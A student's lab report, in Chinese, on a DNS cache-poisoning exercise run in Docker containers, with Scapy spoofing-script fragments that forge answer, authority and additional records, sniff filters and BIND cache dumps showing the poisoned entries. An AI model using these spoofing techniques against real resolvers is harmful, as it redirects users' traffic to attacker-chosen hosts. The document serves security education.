网络空间安全实训 第五次实验报告

57118221 梅昊

Task 5.0 测试配置

1. 解析 ns.attack32.com，可以正确解析。即 forward 设置正确。

```
root@40b38b11f616:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 719
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 5512921ab25d34db0100000060f4d7cd862a0341c3f4bdf9 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 32 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 01:39:25 UTC 2021
;; MSG SIZE  rcvd: 90
```

2. 解析 www.example.com，无法解析。因为在本地 DNS 上并没有这样的信息。（此时外网未联通）

```
root@40b38b11f616:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; connection timed out; no servers could be reached
```

3. 通过 ns.attack32.com 解析 www.example.com，解析成功。即 ns.attack32.com 配置正确。

```
root@40b38b11f616:/# dig @ns.attacker32.com  www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46987
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: dcb37c0e6c263d930100000060f4d83f38146a50b298547b (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 4 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Mon Jul 19 01:41:19 UTC 2021
;; MSG SIZE  rcvd: 88
```

Task 5.1

1. 首先，在路由器上设置外网延迟，避免外网的 dns 回复过快。

```
root@1092a6999e00:/# tc qdisc add dev eth0 root netem delay 200ms
root@1092a6999e00:/# tc qdisc show dev eth0
qdisc netem 8001: root refcnt 2 limit 1000 delay 200.0ms
root@1092a6999e00:/#
```

2. 对脚本进行修改，修改 Answer Section 里的内容。将 www.example.com 的 dns 请求直接返回解析到 1.22.33.4 的回复。

```
# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
               ttl=259200, rdata='1.22.33.4')
```

3. 运行脚本，并启动 dig 命令。可以看到，攻击成功。www.example.com 被解析到了 1.22.33.4。

```
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7960
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.22.33.4
```

Task 5.2

1. 首先清空本地 DNS 的缓存。

```
root@c20da32a0492:/# rndc flush
root@c20da32a0492:/# rndc dumpdb -cache
root@c20da32a0492:/# cat /var/cache/bind/dump.db
;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
; using a 604800 second stale ttl
$DATE 20210712015311
;
; Address database dump
;
; [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
; [plain success/timeout]
;
;
; Unassociated entries
;
;
; Bad cache
;
```

2. 对脚本进行修改，更改 filter 为本地 DNS 的相关信息。只嗅探本地 DNS 向外发送的 dns 请求，然后回复内容同 Task1。

```
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-9ed18c44b840', filter=f,
prn=spoof_dns)
```

3. 运行脚本，在 user 上使用 dig。可以看到 www.example.com 被解析到了 1.22.33.4。

```
[07/19/21]seed@VM:~/.../Labsetup$ docksh 40
root@40b38b11f616:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4530
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 97fd959b0fdd1e990100000060f53ae2323680e880ac8954 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.22.33.4

;; Query time: 2492 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 08:42:10 UTC 2021
;; MSG SIZE  rcvd: 88
```

4. 在本地 DNS 上查看缓存，发现缓存已经被污染。缓存内 www.example.com 被解析到了 1.22.33.4。

```
root@c20da32a0492:/# rndc dumpdb -cache
root@c20da32a0492:/# cat /var/cache/bind/dump.db | grep example
example.com.            777482  NS      a.iana-servers.net.
www.example.com.        863883  A       1.22.33.4
```

Task 5.3

1. 首先对脚本的 Authority Section 部分进行修改。将 ns.attack32.com 作为 example.com 的 DNS。

```
    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                   ttl=259200, rdata='10.0.2.5')

    # The Authority Section
    NSsec1 = DNSRR(rrname='example.com', type='NS',
                    ttl=259200, rdata='ns.attacker32.com')
```

2. 在本地 DNS 上清空缓存。

```
root@c20da32a0492:/# rndc flush
```

3. 在 user 上使用 dig 解析 www.example.com。需要等待较长的时间，因为脚本捕获的是解析 www.example.com 的 dns 报文。Dns 会先从.com 开始解析，然后解析 example.com。最后 dig 得到如下结果，www.example.com 被解析到了 10.0.2.5。

```
root@40b38b11f616:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55690
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 0fee88e3f6ab15de0100000060f53ee5cfb05c60791c7125 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       10.0.2.5

;; Query time: 2635 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 08:59:17 UTC 2021
;; MSG SIZE  rcvd: 88
```

4. 此时查看本地 DNS 的缓存，可以看到，服务器已经把 ns.attack32.com 作为了 example.com 的 DNS。

```
root@c20da32a0492:/# rndc flush
root@c20da32a0492:/# rndc dumpdb -cache
root@c20da32a0492:/# cat /var/cache/bind/dump.db | grep example
example.com.            777592  NS      ns.attacker32.com.
www.example.com.        863993  A       10.0.2.5
```

Task 5.4

1. 首先对脚本进行修改，在 Authority Section 中进行修改，尝试把 google.com 也通过 ns.attack32.com 来解析。

```
    # The Authority Section
    NSsec1 = DNSRR(rrname='example.com', type='NS',
                   ttl=259200, rdata='ns.attacker32.com')
    NSsec2 = DNSRR(rrname='google.com', type='NS',
                   ttl=259200, rdata='ns.attacker32.com')
```

2. 清空本地 DNS 的缓存。

```
root@c20da32a0492:/# rndc flush
```

3. 运行脚本，在 user 上使用 dig 解析 www.example.com。需要等待较长的时间，因为脚本捕获的是解析 www.example.com 的 dns 报文。Dns 会先从.com 开始解析，然后解析 example.com。最后 dig 得到如下结果，www.example.com 被解析到了 10.0.2.5。

```
root@40b38b11f616:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17708
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 95a6b69c81b8c5fc0100000060f54018b98125a2b4aecbf1 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       10.0.2.5

;; Query time: 1316 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 09:04:24 UTC 2021
;; MSG SIZE  rcvd: 88
```

4. 在本地 DNS 上查看 cache。可以看到服务器已经把 ns.attack32.com 作为了 example.com 的 DNS。但是并不接受把 ns.attack32.com 作为了 google.com 的 DNS。因为这一条和查询的 example.com 无关，一旦接受，就会把 ns.attack32.com 作为 google.com 的权威域名服务器。这很不安全，所以没有接受

```
[07/19/21]seed@VM:~/Desktop$ docksh c2
root@c20da32a0492:/# rndc dumpdb -cache
root@c20da32a0492:/# cat /var/cache/bind/dump.db | grep example
example.com.            777274  NS      ns.attacker32.com.
www.example.com.        863675  A       10.0.2.5
root@c20da32a0492:/# cat /var/cache/bind/dump.db | grep google
root@c20da32a0492:/#
```

Task 5.5

1. 首先对脚本进行修改。其中在 Authority 部分，将 ns.attack32.com 和 ns.example.com 均作为 example.com 的 DNS。并且在 Additional 部分给出对应的 IP 地址。并且额外给出一条不相关的记录，www.facebook.com。

```
# The Authority Section
NSsec1 = DNSRR(rrname='example.com', type='NS',
               ttl=259200, rdata='ns.attacker32.com')
NSsec2 = DNSRR(rrname='example.com', type='NS',
               ttl=259200, rdata='ns.example.com')

# The Additional Section
Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',
                ttl=259200, rdata='1.2.3.4')
Addsec2 = DNSRR(rrname='ns.example.com', type='A',
                ttl=259200, rdata='5.6.7.8')
Addsec3 = DNSRR(rrname='www.facebook.com', type='A',
                ttl=259200, rdata='3.4.5.6')
```

2. 运行脚本，并在在 user 上使用 dig 解析 www.example.com。

```
root@40b38b11f616:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17708
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 95a6b69c81b8c5fc0100000060f54018b98125a2b4aecbf1 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       10.0.2.5

;; Query time: 1316 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 09:04:24 UTC 2021
;; MSG SIZE  rcvd: 88
```

3. 查看本地 DNS 的缓存。可以看到，Addtional 部分只存储了 ns.example.com 的地址，剩下两条记录没有存储。推测可能是其他的两条记录与 dns 请求的 www.example.com 无关，所以不会存储。

```
root@34d4373d2791:/# cat /var/cache/bind/dump.db | grep example
example.com.            777592  NS      ns.example.com.
ns.example.com.         863993  A       5.6.7.8
www.example.com.        863993  A       10.0.2.5

root@c20da32a0492:/# rndc dumpdb -cache
root@c20da32a0492:/# cat /var/cache/bind/dump.db | grep 5.6.7.8
ns.example.com.         863986  A       5.6.7.8
```